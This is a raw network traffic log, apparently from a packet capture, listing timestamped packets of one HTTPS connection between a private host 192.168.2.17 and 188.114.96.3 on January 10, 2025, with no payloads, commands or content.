Jan 10, 2025 20:50:06.377034903 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.377043009 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.377254963 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.377273083 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.377321959 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.377329111 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.377391100 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.424853086 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.462618113 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.462646008 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.462701082 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.462706089 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.462722063 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.462738991 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.462768078 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.462768078 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.462783098 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.462824106 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.462838888 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.462840080 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.462840080 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.462862015 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.462920904 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.462920904 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.463083982 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.463104010 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.463239908 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.463246107 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.463278055 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.463295937 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.463324070 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.463324070 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.463330984 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.463395119 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.463395119 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.463395119 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.463592052 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.463612080 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.463692904 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.463694096 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.463701963 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.463792086 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.463948011 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.463963985 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.464006901 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.464025021 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.464060068 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.464060068 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.464174986 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.464190960 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.464266062 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.464273930 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.464370966 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.549433947 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.549463034 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.549567938 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.549567938 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.549581051 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.549606085 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.549626112 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.549668074 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.549674034 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.549709082 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.549736023 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.549858093 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.549879074 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.550019026 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.550024033 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.550175905 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.550178051 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.550188065 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.550204039 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.550263882 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.550265074 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.550263882 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.550278902 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.550303936 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.550337076 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.550343037 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.550358057 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.550438881 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.550602913 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.550618887 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.550681114 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.550687075 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.550837994 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.550950050 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.550965071 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.551089048 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.551095009 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.551175117 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.551192999 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.551194906 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.551208019 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.551325083 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.551325083 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.663351059 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.663372040 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.663480997 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.663495064 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.663572073 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.663575888 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.663587093 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.663619995 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.663649082 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.663657904 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.663703918 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.663703918 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.663855076 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.663877964 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.663938046 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.663943052 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.663968086 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.663991928 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.664273977 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.664289951 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.664349079 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.664370060 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.664376020 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.664463997 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.664612055 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.664630890 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.664710999 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.664716959 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.664736986 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.665147066 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.665159941 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.665219069 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.665237904 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.665241003 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.665251017 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.665266037 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.665308952 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.665308952 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.665468931 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.665482998 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.665622950 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.665622950 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.665631056 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.665923119 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.750411034 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.750428915 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.750507116 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.750519037 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.750534058 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.750564098 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.750581980 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.750612020 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.750612974 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.750621080 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.750664949 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.750848055 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.750919104 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.750932932 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.750999928 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.751004934 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.751039028 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.751070023 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.751168966 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.751184940 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.751247883 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.751255035 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.751342058 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.753262997 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.753278017 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.753467083 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.753475904 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.753537893 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.753556967 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.753622055 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.753623962 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.753623962 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.753633022 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.753669024 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.753843069 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.753843069 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.753849983 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.753870964 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.753890038 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.753976107 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.753976107 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.753984928 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.807861090 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.837292910 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.837318897 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.837410927 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.837419033 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.837435961 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.837455988 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.837518930 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.837519884 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.837526083 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.837584972 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.837877989 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.837893963 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.838006973 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.838012934 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.838078976 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.838192940 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.838223934 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.838350058 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.838356972 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.838459015 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.840054035 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.840069056 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.840369940 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.840415955 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.840415955 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.840420961 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.840440035 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.840482950 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.840482950 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.840591908 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.840606928 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.840671062 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.840677023 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.840811968 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.840831995 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.840866089 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.840872049 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.840974092 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.886878014 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.924216986 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.924248934 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.924300909 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.924372911 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.924372911 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.924386978 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.924473047 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.924602032 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.924619913 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.924685001 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.924690008 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.924798012 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.924900055 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.924915075 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.924999952 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.925005913 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.925250053 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.925359964 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.927712917 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.927728891 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.927851915 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.927858114 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.927881956 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.927901030 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.927943945 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.927961111 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.927967072 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.927967072 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.927974939 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.928021908 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.928021908 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.928172112 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.928189039 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.928250074 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:06.928255081 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:06.982889891 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.011286974 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.011301994 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.011331081 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.011383057 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.011395931 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.011439085 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.011444092 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.011444092 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.011460066 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.011473894 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.011560917 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.011560917 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.011914968 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.011934996 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.012005091 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.012011051 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.012042999 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.012062073 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.012073040 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.012077093 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.012142897 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.012142897 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.014764071 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.014786005 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.014944077 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.014950037 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.015103102 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.015249968 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.015268087 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.015340090 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.015345097 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.015396118 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.015542030 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.015558958 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.015614986 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.015621901 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.015630960 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.015651941 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.015712976 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.015712976 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.015719891 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.015803099 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.015832901 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.015844107 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.015865088 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.015876055 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.016024113 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.114492893 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.114525080 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.114598036 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.114638090 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.114667892 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.114689112 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.114700079 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.114700079 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.114700079 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.114711046 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.114763975 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.114784956 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.114798069 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.114798069 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.114805937 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.114869118 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.114923954 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.114945889 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.115010023 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.115016937 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.115061045 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.115114927 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.115134954 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.115185022 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.115190029 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.115199089 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.115216970 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.115221977 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.115267038 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.115272999 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.115289927 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.115580082 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.115607023 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.115716934 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.115716934 CET	49803	443	192.168.2.17	188.114.96.3
